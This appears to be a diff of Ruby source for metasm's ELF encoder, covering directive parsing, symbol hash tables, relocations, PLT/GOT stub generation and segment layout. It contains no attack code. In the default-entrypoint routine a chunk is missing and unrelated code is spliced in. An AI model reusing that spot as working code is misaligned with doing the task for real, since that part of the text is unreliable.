# define s.section ? should check the section exporting s.target, but it may not be defined now - - # parse pseudo instruction arguments - loop do - @lexer.skip_space - ntok = @lexer.readtok - if not ntok or ntok.type == :eol - @lexer.unreadtok ntok - break - end - raise instr, "syntax error: string expected, found #{ntok.raw.inspect}" if ntok.type != :string - case ntok.raw - when 'undef' - s.shndx = 'UNDEF' - when 'plt' - @lexer.skip_space - ntok = @lexer.readtok - raise "syntax error: = expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :punct or ntok.raw != '=' - @lexer.skip_space - ntok = @lexer.readtok - raise "syntax error: label expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :string - s.thunk = ntok.raw - when 'type' - @lexer.skip_space - ntok = @lexer.readtok - raise "syntax error: = expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :punct or ntok.raw != '=' - @lexer.skip_space - ntok = @lexer.readtok - raise "syntax error: symbol type expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :string or not SYMBOL_TYPE.index(ntok.raw) - s.type = ntok.raw - when 'size' - @lexer.skip_space - ntok = @lexer.readtok - raise "syntax error: = expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :punct or ntok.raw != '=' - @lexer.skip_space - ntok = @lexer.readtok - raise "syntax error: symbol size expected, found #{ntok.raw.inspect if ntok}" if not ntok or ntok.type != :string or not ntok.raw =~ /^\d+$/ - s.size = ntok.raw.to_i - else - if not s.value - s.value = ntok.raw - elsif not s.size - s.size = Expression[ntok.raw, :-, s.value] - else - raise instr, "syntax error: eol expected, found #{ntok.raw.inspect}" - end - end - end - s.value ||= s.name if not s.shndx and not s.thunk - s.shndx ||= 1 if s.value - @symbols << s - - when '.needed' - # a required library - (@tag['NEEDED'] ||= []) << readstr[] - check_eol[] - - when '.soname' - # exported library name - @tag['SONAME'] = readstr[] - check_eol[] - @segments.delete_if { |s_| s_.type == 'INTERP' } - @header.type = 'DYN' - - when '.interp', '.nointerp' - # required ELF interpreter - interp = ((instr.raw == '.nointerp') ? 'nil' : readstr[]) - - @segments.delete_if { |s_| s_.type == 'INTERP' } - case interp.downcase - when 'nil', 'no', 'none' - @header.shnum = 0 - else - seg = Segment.new - seg.type = 'INTERP' - seg.encoded = EncodedData.new << interp << 0 - seg.flags = ['R'] - seg.memsz = seg.filesz = seg.encoded.length - @segments.unshift seg - end - - check_eol[] - - when '.pt_gnu_stack' - # PT_GNU_STACK marking - mode = readstr[] - - @segments.delete_if { |s_| s_.type == 'GNU_STACK' } - s = Segment.new - s.type = 'GNU_STACK' - case mode - when /^rw$/i; s.flags = %w[R W] - when /^rwx$/i; s.flags = %w[R W X] - else raise instr, "syntax error: expected rw|rwx, found #{mode.inspect}" - end - @segments << s - - when '.init', '.fini' - # dynamic tag initialization - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr, 'syntax error' if not init = Expression.parse(@lexer) - else - init = new_label(instr.raw[1..-1]) - @cursource << Label.new(init, instr.backtrace.dup) - end - @tag[instr.raw[1..-1].upcase] = init - check_eol[] - - when '.init_array', '.fini_array', '.preinit_array' - t = @tag[instr.raw[1..-1].upcase] ||= [] - loop do - raise instr, 'syntax error' if not e = Expression.parse(@lexer) - t << e - @lexer.skip_space - ntok = @lexer.nexttok - break if not ntok or ntok.type == :eol - raise instr, "syntax error, ',' expected, found #{ntok.raw.inspect}" if nttok != :punct or ntok.raw != ',' - @lexer.readtok - end - - else super(instr) - end - end - - # assembles the hash self.source to a section array - def assemble(*a) - parse(*a) if not a.empty? - @source.each { |k, v| - raise "no section named #{k} ?" if not s = @sections.find { |s_| s_.name == k } - s.encoded << assemble_sequence(v, @cpu) - v.clear - } - end - - def encode_file(path, *a) - ret = super(path, *a) - File.chmod(0755, path) if @header.entry and @header.entry != 0 - ret - end - - # defines __ELF__ - def tune_prepro(l) - l.define_weak('__ELF__', 1) - end - - # set the data model - def tune_cparser(cp) - super(cp) - cp.lp64 if @cpu.size == 64 - end - - # handles C attributes: export, export_as(foo), import, import_from(libc.so.6), init, fini, entrypoint - def read_c_attrs(cp) - cp.toplevel.symbol.each_value { |v| - next if not v.kind_of? C::Variable - if v.has_attribute 'export' or ea = v.has_attribute_var('export_as') - s = Symbol.new - s.name = ea || v.name - s.type = v.type.kind_of?(C::Function) ? 'FUNC' : 'NOTYPE' - s.bind = 'GLOBAL' - s.shndx = 1 - s.value = v.name - @symbols << s - end - if v.has_attribute 'import' or ln = v.has_attribute_var('import_from') - (@tag['NEEDED'] ||= []) << ln if ln and not @tag['NEEDED'].to_a.include? ln - s = Symbol.new - s.name = v.name - s.type = v.type.kind_of?(C::Function) ? 'FUNC' : 'NOTYPE' - s.bind = 'GLOBAL' - s.shndx = 'UNDEF' - @symbols << s - end - if v.has_attribute('init') or v.has_attribute('constructor') - (@tag['INIT_ARRAY'] ||= []) << v.name - end - if v.has_attribute('fini') or v.has_attribute('destructor') - (@tag['FINI_ARRAY'] ||= []) << v.name - end - if v.has_attribute 'entrypoint' - @header.entry = v.name - end - } - end - - def c_set_default_entrypoint - return if @header.entry - if @sections.find { |s| s.encoded and s.encoded.export['_start'] } - @header.entry = '_start' - elsif @sections.find { |s| s.encoded and s.encoded.export['main'] } - # entrypoint stack: [sp] = argc, [sp+1] = argv0, [sp+2] = argv1, [sp+argc+1] = 0, [sp+argc+2] = envp0, etc - case @cpu.shortname - when 'ia32'; assemble < srank } # find section with rank superior + nexts = nexts ? @sections.index(nexts) : -1 # if none, last + @sections.insert(nexts, s) # insert section + end + + # encodes the GNU_HASH table + # TODO + def encode_gnu_hash + return if true + + sortedsyms = @symbols.find_all { |s| s.bind == 'GLOBAL' and s.shndx != 'UNDEF' and s.name } + bucket = Array.new(42) + + if not gnu_hash = @sections.find { |s| s.type == 'GNU_HASH' } + gnu_hash = Section.new + gnu_hash.name = '.gnu.hash' + gnu_hash.type = 'GNU_HASH' + gnu_hash.flags = ['ALLOC'] + gnu_hash.entsize = gnu_hash.addralign = 4 + encode_add_section gnu_hash + end + gnu_hash.encoded = EncodedData.new + + # "bloomfilter[N] has bit B cleared if there is no M (M > symndx) which satisfies (C = @header.class) + # ((gnu_hash(sym[M].name) / C) % maskwords) == N && + # ((gnu_hash(sym[M].name) % C) == B || + # ((gnu_hash(sym[M].name) >> shift2) % C) == B" + # bloomfilter may be [~0] + bloomfilter = [] + + # bucket[N] contains the lowest M for which + # gnu_hash(sym[M]) % nbuckets == N + # or 0 if none + bucket = [] + + gnu_hash.encoded << + encode_word(bucket.length) << + encode_word(@symbols.length - sortedsyms.length) << + encode_word(bloomfilter.length) << + encode_word(shift2) + bloomfilter.each { |bf| gnu_hash.encoded << encode_xword(bf) } + bucket.each { |bk| gnu_hash.encoded << encode_word(bk) } + sortedsyms.each { |s| + # (gnu_hash(sym[N].name) & ~1) | (N == dynsymcount-1 || (gnu_hash(sym[N].name) % nbucket) != (gnu_hash(sym[N+1].name) % nbucket)) + # that's the hash, with its lower bit replaced by the bool [1 if i am the last sym having my hash as hash] + val = 28 + gnu_hash.encoded << encode_word(val) + } + + @tag['GNU_HASH'] = label_at(gnu_hash.encoded, 0) + + encode_check_section_size gnu_hash + + gnu_hash + end + + # encodes the symbol dynamic hash table in the .hash section, updates the HASH tag + def encode_hash + if not hash = @sections.find { |s| s.type == 'HASH' } + hash = Section.new + hash.name = '.hash' + hash.type = 'HASH' + hash.flags = ['ALLOC'] + hash.entsize = hash.addralign = 4 + encode_add_section hash + end + hash.encoded = EncodedData.new + + # to find a symbol from its name : + # 1: idx = hash(name) + # 2: idx = bucket[idx % bucket.size] + # 3: if idx == 0: return notfound + # 4: if dynsym[idx].name == name: return found + # 5: idx = chain[idx] ; goto 3 + bucket = Array.new(@symbols.length/4+1, 0) + chain = Array.new(@symbols.length, 0) + @symbols.each_with_index { |s, i| + next if s.bind == 'LOCAL' or not s.name or s.shndx == 'UNDEF' + hash_mod = ELF.hash_symbol_name(s.name) % bucket.length + chain[i] = bucket[hash_mod] + bucket[hash_mod] = i + } + + hash.encoded << encode_word(bucket.length) << encode_word(chain.length) + + bucket.each { |b| hash.encoded << encode_word(b) } + chain.each { |c| hash.encoded << encode_word(c) } + + @tag['HASH'] = label_at(hash.encoded, 0) + + encode_check_section_size hash + + hash + end + + # encodes the symbol table + # should have a stable self.sections array (only append allowed after this step) + def encode_segments_symbols(strtab) + if not dynsym = @sections.find { |s| s.type == 'DYNSYM' } + dynsym = Section.new + dynsym.name = '.dynsym' + dynsym.type = 'DYNSYM' + dynsym.entsize = Symbol.size(self) + dynsym.addralign = 4 + dynsym.flags = ['ALLOC'] + dynsym.info = @symbols[1..-1].find_all { |s| s.bind == 'LOCAL' }.length + 1 + dynsym.link = strtab + encode_add_section dynsym + end + dynsym.encoded = EncodedData.new + @symbols.each { |s| dynsym.encoded << s.encode(self, strtab.encoded) } # needs all section indexes, as will be in the final section header + + @tag['SYMTAB'] = label_at(dynsym.encoded, 0) + @tag['SYMENT'] = Symbol.size(self) + + encode_check_section_size dynsym + + dynsym + end + + # encodes the relocation tables + # needs a complete self.symbols array + def encode_segments_relocs + return if not @relocations + + arch_preencode_reloc_func = "arch_#{@header.machine.downcase}_preencode_reloc" + send arch_preencode_reloc_func if respond_to? arch_preencode_reloc_func + + list = @relocations.find_all { |r| r.type == 'JMP_SLOT' } + if not list.empty? or @relocations.empty? + if list.find { |r| r.addend } + stype = 'RELA' + sname = '.rela.plt' + else + stype = 'REL' + sname = '.rel.plt' + end + + if not relplt = @sections.find { |s| s.type == stype and s.name == sname } + relplt = Section.new + relplt.name = sname + relplt.flags = ['ALLOC'] + encode_add_section relplt + end + relplt.encoded = EncodedData.new('', :export => {'_REL_PLT' => 0}) + list.each { |r| relplt.encoded << r.encode(self) } + @tag['JMPREL'] = label_at(relplt.encoded, 0) + @tag['PLTRELSZ'] = relplt.encoded.virtsize + @tag['PLTREL'] = relplt.type = stype + @tag[stype + 'ENT'] = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.size(self) : RelocationAddend.size(self)) + encode_check_section_size relplt + end + + list = @relocations.find_all { |r| r.type != 'JMP_SLOT' and not r.addend } + if not list.empty? + if not @tag['TEXTREL'] and @sections.find { |s_| + s_.encoded and e = s_.encoded.inv_export[0] and not s_.flags.include? 'WRITE' and + list.find { |r| Expression[r.offset, :-, e].reduce.kind_of? ::Integer } + # TODO need to check with r.offset.bind(elf_binding) + } + @tag['TEXTREL'] = 0 + end + if not rel = @sections.find { |s_| s_.type == 'REL' and s_.name == '.rel.dyn' } + rel = Section.new + rel.name = '.rel.dyn' + rel.type = 'REL' + rel.flags = ['ALLOC'] + rel.entsize = rel.addralign = Relocation.size(self) + encode_add_section rel + end + rel.encoded = EncodedData.new + list.each { |r| rel.encoded << r.encode(self) } + @tag['REL'] = label_at(rel.encoded, 0) + @tag['RELENT'] = Relocation.size(self) + @tag['RELSZ'] = rel.encoded.virtsize + encode_check_section_size rel + end + + list = @relocations.find_all { |r| r.type != 'JMP_SLOT' and r.addend } + if not list.empty? + if not rela = @sections.find { |s_| s_.type == 'RELA' and s_.name == '.rela.dyn' } + rela = Section.new + rela.name = '.rela.dyn' + rela.type = 'RELA' + rela.flags = ['ALLOC'] + rela.entsize = rela.addralign = RelocationAddend.size(self) + encode_add_section rela + end + rela.encoded = EncodedData.new + list.each { |r| rela.encoded << r.encode(self) } + @tag['RELA'] = label_at(rela.encoded, 0) + @tag['RELAENT'] = RelocationAddend.size(self) + @tag['RELASZ'] = rela.encoded.virtsize + encode_check_section_size rela + end + end + + # creates the .plt/.got from the @relocations + def arch_386_preencode_reloc + # if .got.plt does not exist, the dynamic loader segfaults + if not gotplt = @sections.find { |s| s.type == 'PROGBITS' and s.name == '.got.plt' } + gotplt = Section.new + gotplt.name = '.got.plt' + gotplt.type = 'PROGBITS' + gotplt.flags = %w[ALLOC WRITE] + gotplt.addralign = @bitsize/8 + # _DYNAMIC is not base-relocated at runtime + encode_add_section gotplt + end + gotplt.encoded ||= (EncodedData.new('', :export => {'_PLT_GOT' => 0}) << encode_xword('_DYNAMIC') << encode_xword(0) << encode_xword(0)) + @tag['PLTGOT'] = label_at(gotplt.encoded, 0) + plt = nil + + shellcode = lambda { |c| Shellcode.new(@cpu).share_namespace(self).assemble(c).encoded } + + @relocations.dup.each { |r| + case r.type + when 'PC32' + next if not r.symbol + + if r.symbol.type != 'FUNC' + # external data xref: generate a GOT entry + # XXX reuse .got.plt ? + if not got ||= @sections.find { |s| s.type == 'PROGBITS' and s.name == '.got' } + got = Section.new + got.name = '.got' + got.type = 'PROGBITS' + got.flags = %w[ALLOC WRITE] + got.addralign = @bitsize/8 + got.encoded = EncodedData.new + encode_add_section got + end + + prevoffset = r.offset + gotlabel = r.symbol.name + '_got_entry' + if not got.encoded.export[gotlabel] + # create the got thunk + got.encoded.add_export(gotlabel, got.encoded.length) + got.encoded << encode_xword(0) + + # transform the reloc PC32 => GLOB_DAT + r.type = 'GLOB_DAT' + r.offset = Expression[gotlabel] + r.addend = 0 if @bitsize == 64 + else + @relocations.delete r + end + + # prevoffset is label_section_start + int_section_offset + target_s = @sections.find { |s| s.encoded and s.encoded.export[prevoffset.lexpr] == 0 } + rel = target_s.encoded.reloc[prevoffset.rexpr] + # [foo] => [foo - reloc_addr + gotlabel] + + rel.target = Expression[[rel.target, :-, prevoffset], :+, gotlabel] + next + end + + # convert to .plt entry + # + # [.plt header] + # plt_start: # caller set ebx = gotplt if generate_PIC + # push [gotplt+4] + # jmp [gotplt+8] + # + # [.plt thunk] + # some_func_thunk: + # jmp [gotplt+func_got_offset] + # some_func_got_default: + # push some_func_jmpslot_offset_in_.rel.plt + # jmp plt_start + # + # [.got.plt header] + # dd _DYNAMIC + # dd 0 # rewritten to GOTPLT? by ld-linux + # dd 0 # rewritten to dlresolve_inplace by ld-linux + # + # [.got.plt + func_got_offset] + # dd some_func_got_default # lazily rewritten to the real addr of some_func by jmp dlresolve_inplace + # # base_relocated ? + + # in the PIC case, _dlresolve imposes us to use the ebx register (which may not be saved by the calling function..) + # also geteip trashes eax, which may interfere with regparm(3) + base = @cpu.generate_PIC ? @bitsize == 32 ? 'ebx' : 'rip-$_+_PLT_GOT' : '_PLT_GOT' + if not plt ||= @sections.find { |s| s.type == 'PROGBITS' and s.name == '.plt' } + plt = Section.new + plt.name = '.plt' + plt.type = 'PROGBITS' + plt.flags = %w[ALLOC EXECINSTR] + plt.addralign = @bitsize/8 + plt.encoded = EncodedData.new + sz = @bitsize/8 + ptqual = @bitsize == 32 ? 'dword' : 'qword' + plt.encoded << shellcode["metasm_plt_start:\npush #{ptqual} ptr [#{base}+#{sz}]\njmp #{ptqual} ptr [#{base}+#{2*sz}]"] + if @cpu.generate_PIC and @bitsize == 32 and not @sections.find { |s| s.encoded and s.encoded.export['metasm_intern_geteip'] } + plt.encoded << shellcode["metasm_intern_geteip:\ncall 42f\n42: pop eax\nsub eax, 42b-metasm_intern_geteip\nret"] + end + encode_add_section plt + end + + prevoffset = r.offset + pltlabel = r.symbol.name + '_plt_thunk' + if not plt.encoded.export[pltlabel] + # create the plt thunk + plt.encoded.add_export pltlabel, plt.encoded.length + if @cpu.generate_PIC and @bitsize == 32 + plt.encoded << shellcode["call metasm_intern_geteip\nlea #{base}, [eax+_PLT_GOT-metasm_intern_geteip]"] + end + plt.encoded << shellcode["jmp [#{base} + #{gotplt.encoded.length}]"] + plt.encoded.add_export r.symbol.name+'_plt_default', plt.encoded.length + reloffset = @relocations.find_all { |rr| rr.type == 'JMP_SLOT' }.length + reloffset *= Relocation.size(self) if @bitsize == 32 + plt.encoded << shellcode["push #{reloffset}\njmp metasm_plt_start"] + + # transform the reloc PC32 => JMP_SLOT + r.type = 'JMP_SLOT' + r.offset = Expression['_PLT_GOT', :+, gotplt.encoded.length] + r.addend = 0 if @bitsize == 64 + + gotplt.encoded << encode_xword(r.symbol.name + '_plt_default') + else + @relocations.delete r + end + + # mutate the original relocation + # XXX relies on the exact form of r.target from arch_create_reloc + target_s = @sections.find { |s| s.encoded and s.encoded.export[prevoffset.lexpr] == 0 } + rel = target_s.encoded.reloc[prevoffset.rexpr] + rel.target = Expression[[[rel.target, :-, prevoffset.rexpr], :-, label_at(target_s.encoded, 0)], :+, pltlabel] + + # when 'GOTOFF', 'GOTPC' + end + } + encode_check_section_size gotplt + encode_check_section_size plt if plt + #encode_check_section_size got if got + end + alias arch_x86_64_preencode_reloc arch_386_preencode_reloc + + # encodes the .dynamic section, creates .hash/.gnu.hash/.rel/.rela/.dynsym/.strtab/.init,*_array as needed + def encode_segments_dynamic + if not strtab = @sections.find { |s| s.type == 'STRTAB' and s.flags.include? 'ALLOC' } + strtab = Section.new + strtab.name = '.dynstr' + strtab.addralign = 1 + strtab.type = 'STRTAB' + strtab.flags = ['ALLOC'] + encode_add_section strtab + end + strtab.encoded = EncodedData.new << 0 + @tag['STRTAB'] = label_at(strtab.encoded, 0) + + if not dynamic = @sections.find { |s| s.type == 'DYNAMIC' } + dynamic = Section.new + dynamic.name = '.dynamic' + dynamic.type = 'DYNAMIC' + dynamic.flags = %w[WRITE ALLOC] # XXX why write ? + dynamic.addralign = dynamic.entsize = @bitsize / 8 * 2 + dynamic.link = strtab + encode_add_section dynamic + end + dynamic.encoded = EncodedData.new('', :export => {'_DYNAMIC' => 0}) + + encode_tag = lambda { |k, v| + dynamic.encoded << + encode_sxword(int_from_hash(k, DYNAMIC_TAG)) << + encode_xword(v) + } + + # find or create string in strtab + add_str = lambda { |n| + if n and n != '' and not ret = strtab.encoded.data.index(n + 0.chr) + ret = strtab.encoded.virtsize + strtab.encoded << n << 0 + end + ret || 0 + } + @tag.keys.each { |k| + case k + when 'NEEDED'; @tag[k].each { |n| encode_tag[k, add_str[n]] } + when 'SONAME', 'RPATH', 'RUNPATH'; encode_tag[k, add_str[@tag[k]]] + when 'INIT_ARRAY', 'FINI_ARRAY', 'PREINIT_ARRAY' # build section containing the array + if not ar = @sections.find { |s| s.name == '.' + k.downcase } + ar = Section.new + ar.name = '.' + k.downcase + ar.type = k + ar.addralign = ar.entsize = @bitsize/8 + ar.flags = %w[WRITE ALLOC] + ar.encoded = EncodedData.new + encode_add_section ar # insert before encoding syms/relocs (which need section indexes) + end + + # fill these later, but create the base relocs now + arch_create_reloc_func = "arch_#{@header.machine.downcase}_create_reloc" + next if not respond_to?(arch_create_reloc_func) + curaddr = label_at(@encoded, 0, 'elf_start') + fkbind = {} + @sections.each { |s| + next if not s.encoded + fkbind.update s.encoded.binding(Expression[curaddr, :+, 1]) + } + @relocations ||= [] + off = ar.encoded.length + @tag[k].each { |a| + rel = Metasm::Relocation.new(Expression[a], "u#@bitsize".to_sym, @endianness) + send(arch_create_reloc_func, ar, off, fkbind, rel) + off += @bitsize/8 + } + end + } + + encode_reorder_symbols + encode_gnu_hash + encode_hash + encode_segments_relocs + dynsym = encode_segments_symbols(strtab) + @sections.find_all { |s| %w[HASH GNU_HASH REL RELA].include? s.type }.each { |s| s.link = dynsym } + + encode_check_section_size strtab + + # XXX any order needed ? + @tag.keys.each { |k| + case k + when Integer # unknown tags = array of values + @tag[k].each { |n| encode_tag[k, n] } + when 'PLTREL'; encode_tag[k, int_from_hash(@tag[k], DYNAMIC_TAG)] + when 'FLAGS'; encode_tag[k, bits_from_hash(@tag[k], DYNAMIC_FLAGS)] + when 'FLAGS_1'; encode_tag[k, bits_from_hash(@tag[k], DYNAMIC_FLAGS_1)] + when 'FEATURES_1'; encode_tag[k, bits_from_hash(@tag[k], DYNAMIC_FEATURES_1)] + when 'NULL' # keep last + when 'STRTAB' + encode_tag[k, @tag[k]] + encode_tag['STRSZ', strtab.encoded.size] + when 'INIT_ARRAY', 'FINI_ARRAY', 'PREINIT_ARRAY' # build section containing the array + ar = @sections.find { |s| s.name == '.' + k.downcase } + @tag[k].each { |p| ar.encoded << encode_addr(p) } + encode_check_section_size ar + encode_tag[k, label_at(ar.encoded, 0)] + encode_tag[k + 'SZ', ar.encoded.virtsize] + when 'NEEDED', 'SONAME', 'RPATH', 'RUNPATH' # already handled + else + encode_tag[k, @tag[k]] + end + } + encode_tag['NULL', @tag['NULL'] || 0] + + encode_check_section_size dynamic + end + + # creates the undef symbol list from the section.encoded.reloc and a list of known exported symbols (e.g. from libc) + # also populates @tag['NEEDED'] + def automagic_symbols + GNUExports rescue return # autorequire + autoexports = GNUExports::EXPORT.dup + @sections.each { |s| + next if not s.encoded + s.encoded.export.keys.each { |e| autoexports.delete e } + } + @sections.each { |s| + next if not s.encoded + s.encoded.reloc.each_value { |r| + t = Expression[r.target.reduce] + if t.op == :+ and t.rexpr.kind_of? Expression and t.rexpr.op == :- and not t.rexpr.lexpr and + t.rexpr.rexpr.kind_of?(::String) and t.lexpr.kind_of?(::String) + symname = t.lexpr + else + symname = t.reduce_rec + end + next if not dll = autoexports[symname] + if not @symbols.find { |sym| sym.name == symname } + @tag['NEEDED'] ||= [] + @tag['NEEDED'] |= [dll] + sym = Symbol.new + sym.shndx = 'UNDEF' + sym.type = 'FUNC' + sym.name = symname + sym.bind = 'GLOBAL' + @symbols << sym + end + } + } + end + + # reads the existing segment/sections.encoded and populate @relocations from the encoded.reloc hash + def create_relocations + @relocations = [] + + arch_create_reloc_func = "arch_#{@header.machine.downcase}_create_reloc" + if not respond_to? arch_create_reloc_func + puts "Elf: create_reloc: unhandled architecture #{@header.machine}" if $VERBOSE + return + end + + # create a fake binding with all our own symbols + # not foolproof, should work in most cases + curaddr = label_at(@encoded, 0, 'elf_start') + binding = {'_DYNAMIC' => 0, '_GOT' => 0} # XXX + @sections.each { |s| + next if not s.encoded + binding.update s.encoded.binding(curaddr) + curaddr = Expression[curaddr, :+, s.encoded.virtsize] + } + + @sections.each { |s| + next if not s.encoded + s.encoded.reloc.each { |off, rel| + t = rel.target.bind(binding).reduce + next if not t.kind_of? Expression # XXX segment_encode only + send(arch_create_reloc_func, s, off, binding) + } + } + end + + # references to FUNC symbols are transformed to JMPSLOT relocations (aka call to .plt) + # TODO ET_REL support + def arch_386_create_reloc(section, off, binding, rel=nil) + rel ||= section.encoded.reloc[off] + if rel.endianness != @endianness or not [:u32, :i32, :a32].include? rel.type + puts "ELF: 386_create_reloc: ignoring reloc #{rel.target} in #{section.name}: bad reloc type" if $VERBOSE + return + end + startaddr = label_at(@encoded, 0) + r = Relocation.new + r.offset = Expression[label_at(section.encoded, 0, 'sect_start'), :+, off] + if Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer) + # this location is relative to the base load address of the ELF + r.type = 'RELATIVE' + else + et = rel.target.externals + extern = et.find_all { |name| not binding[name] } + if extern.length != 1 + puts "ELF: 386_create_reloc: ignoring reloc #{rel.target} in #{section.name}: #{extern.inspect} unknown" if $VERBOSE + return + end + if not sym = @symbols.find { |s| s.name == extern.first } + puts "ELF: 386_create_reloc: ignoring reloc #{rel.target} in #{section.name}: undefined symbol #{extern.first}" if $VERBOSE + return + end + r.symbol = sym + rel.target = Expression[rel.target, :-, sym.name] + if rel.target.bind(binding).reduce.kind_of? ::Integer + r.type = '32' + elsif Expression[rel.target, :+, label_at(section.encoded, 0)].bind(section.encoded.binding).reduce.kind_of? ::Integer + rel.target = Expression[[rel.target, :+, label_at(section.encoded, 0)], :+, off] + r.type = 'PC32' + # TODO tls ? + else + puts "ELF: 386_create_reloc: ignoring reloc #{sym.name} + #{rel.target}: cannot find matching standard reloc type" if $VERBOSE + return + end + end + @relocations << r + end + + def arch_x86_64_create_reloc(section, off, binding, rel=nil) + rel ||= section.encoded.reloc[off] + if rel.endianness != @endianness or not rel.type.to_s =~ /^[aiu](32|64)$/ + puts "ELF: x86_64_create_reloc: ignoring reloc #{rel.target} in #{section.name}: bad reloc type" if $VERBOSE + return + end + startaddr = label_at(@encoded, 0) + r = RelocationAddend.new + r.addend = 0 + r.offset = Expression[label_at(section.encoded, 0, 'sect_start'), :+, off] + if Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer) + # this location is relative to the base load address of the ELF + if rel.length != 8 + puts "ELF: x86_64_create_reloc: ignoring reloc #{rel.target} in #{section.name}: relative non-x64" if $VERBOSE + return + end + r.type = 'RELATIVE' + else + et = rel.target.externals + extern = et.find_all { |name| not binding[name] } + if extern.length != 1 + puts "ELF: x86_64_create_reloc: ignoring reloc #{rel.target} in #{section.name}: #{extern.inspect} unknown" if $VERBOSE + return + end + if not sym = @symbols.find { |s| s.name == extern.first } + puts "ELF: x86_64_create_reloc: ignoring reloc #{rel.target} in #{section.name}: undefined symbol #{extern.first}" if $VERBOSE + return + end + r.symbol = sym + rel.target = Expression[rel.target, :-, sym.name] + if rel.target.bind(binding).reduce.kind_of? ::Integer + r.type = '64' # XXX check that + elsif Expression[rel.target, :+, label_at(section.encoded, 0)].bind(section.encoded.binding).reduce.kind_of? ::Integer + rel.target = Expression[[rel.target, :+, label_at(section.encoded, 0)], :+, off] + r.type = 'PC32' # XXX + # TODO tls ? + else + puts "ELF: x86_64_create_reloc: ignoring reloc #{sym.name} + #{rel.target}: cannot find matching standard reloc type" if $VERBOSE + return + end + end + r.addend = Expression[rel.target] + #section.encoded.reloc.delete off + @relocations << r + end + + # resets the fields of the elf headers that should be recalculated, eg phdr offset + def invalidate_header + @header.shoff = @header.shnum = nil + @header.phoff = @header.phnum = nil + @header.shstrndx = nil + @sections.to_a.each { |s| + s.name_p = nil + s.offset = nil + } + @segments.to_a.each { |s| + s.offset = nil + } + self + end + + # put every ALLOC section in a segment, create segments if needed + # sections with a good offset within a segment are ignored + def encode_make_segments_from_sections + # fixed addresses first + seclist = @sections.find_all { |sec| sec.addr.kind_of? Integer }.sort_by { |sec| sec.addr } | @sections + seclist.each { |sec| + next if not sec.flags.to_a.include? 'ALLOC' + + # check if we fit in an existing segment + loadsegs = @segments.find_all { |seg_| seg_.type == 'LOAD' } + + if sec.addr.kind_of?(::Integer) and seg = loadsegs.find { |seg_| + seg_.vaddr.kind_of?(::Integer) and seg_.vaddr <= sec.addr and seg_.vaddr + seg_.memsz >= sec.addr + sec.size + } + # sections is already inside a segment: we're reencoding an ELF, just patch the section in the segment + seg.encoded[sec.addr - seg.vaddr, sec.size] = sec.encoded if sec.encoded + next + end + + if not seg = loadsegs.find { |seg_| + sec.flags.to_a.include?('WRITE') == seg_.flags.to_a.include?('W') and + #sec.flags.to_a.include?('EXECINSTR') == seg_.flags.to_a.include?('X') and + not seg_.memsz and + not loadsegs[loadsegs.index(seg_)+1..-1].find { |sseg| + # check if another segment would overlap if we add the sec to seg_ + o = Expression[sseg.vaddr, :-, [seg_.vaddr, :+, seg_.encoded.length+sec.encoded.length]].reduce + o.kind_of? ::Integer and o < 0 + } + } + # nope, create a new one + seg = Segment.new + seg.type = 'LOAD' + seg.flags = ['R'] + seg.flags << 'W' if sec.flags.include? 'WRITE' + seg.align = 0x1000 + seg.encoded = EncodedData.new + seg.offset = new_label('segment_offset') + seg.vaddr = sec.addr || new_label('segment_address') + @segments << seg + end + seg.flags |= ['X'] if sec.flags.include? 'EXECINSTR' + seg.encoded.align sec.addralign if sec.addralign + sec.addr = Expression[seg.vaddr, :+, seg.encoded.length] + sec.offset = Expression[seg.offset, :+, seg.encoded.length] + seg.encoded << sec.encoded + } + end + + # create the relocations from the sections.encoded.reloc + # create the dynamic sections + # put sections/phdr in PT_LOAD segments + # link + # TODO support mapped PHDR, obey section-specified base address, handle NOBITS + # encode ET_REL + def encode(type='DYN') + @header.type ||= {:bin => 'EXEC', :lib => 'DYN', :obj => 'REL'}.fetch(type, type) + @header.machine ||= case @cpu.shortname + when 'x64'; 'X86_64' + when 'ia32'; '386' + when 'mips'; 'MIPS' + when 'powerpc'; 'PPC' + when 'arm'; 'ARM' + end + + if @header.type == 'REL' + raise 'ET_REL encoding not supported atm, come back later' + end + + @encoded = EncodedData.new + if @header.type != 'EXEC' or @segments.find { |i| i.type == 'INTERP' } + # create a .dynamic section unless we are an ET_EXEC with .nointerp + automagic_symbols + create_relocations + encode_segments_dynamic + end + + @segments.delete_if { |s| s.type == 'INTERP' } if not @header.entry + + encode_make_segments_from_sections + + loadsegs = @segments.find_all { |seg_| seg_.type == 'LOAD' } + + # ensure PT_INTERP is mapped if present + if interp = @segments.find { |i| i.type == 'INTERP' } + if not seg = loadsegs.find { |seg_| not seg_.memsz and interp.flags & seg_.flags == interp.flags and + not loadsegs[loadsegs.index(seg_)+1..-1].find { |sseg| + o = Expression[sseg.vaddr, :-, [seg_.vaddr, :+, seg_.encoded.length+interp.encoded.length]].reduce + o.kind_of? ::Integer and o < 0 + } + } + seg = Segment.new + seg.type = 'LOAD' + seg.flags = interp.flags.dup + seg.align = 0x1000 + seg.encoded = EncodedData.new + seg.offset = new_label('segment_offset') + seg.vaddr = new_label('segment_address') + loadsegs << seg + @segments << seg + end + interp.vaddr = Expression[seg.vaddr, :+, seg.encoded.length] + interp.offset = Expression[seg.offset, :+, seg.encoded.length] + seg.encoded << interp.encoded + interp.encoded = nil + end + + # ensure last PT_LOAD is writeable (used for bss) + seg = loadsegs.last + if not seg or not seg.flags.include? 'W' + seg = Segment.new + seg.type = 'LOAD' + seg.flags = ['R', 'W'] + seg.encoded = EncodedData.new + loadsegs << seg + @segments << seg + end + + # add dynamic segment + if ds = @sections.find { |sec| sec.type == 'DYNAMIC' } + ds.set_default_values self + seg = Segment.new + seg.type = 'DYNAMIC' + seg.flags = ['R', 'W'] + seg.offset = ds.offset + seg.vaddr = ds.addr + seg.memsz = seg.filesz = ds.size + @segments << seg + end + + # use variables in the first segment descriptor, to allow fixup later + # (when we'll be able to include the program header) + if first_seg = loadsegs.first + first_seg_oaddr = first_seg.vaddr # section's vaddr depend on oaddr + first_seg_off = first_seg.offset 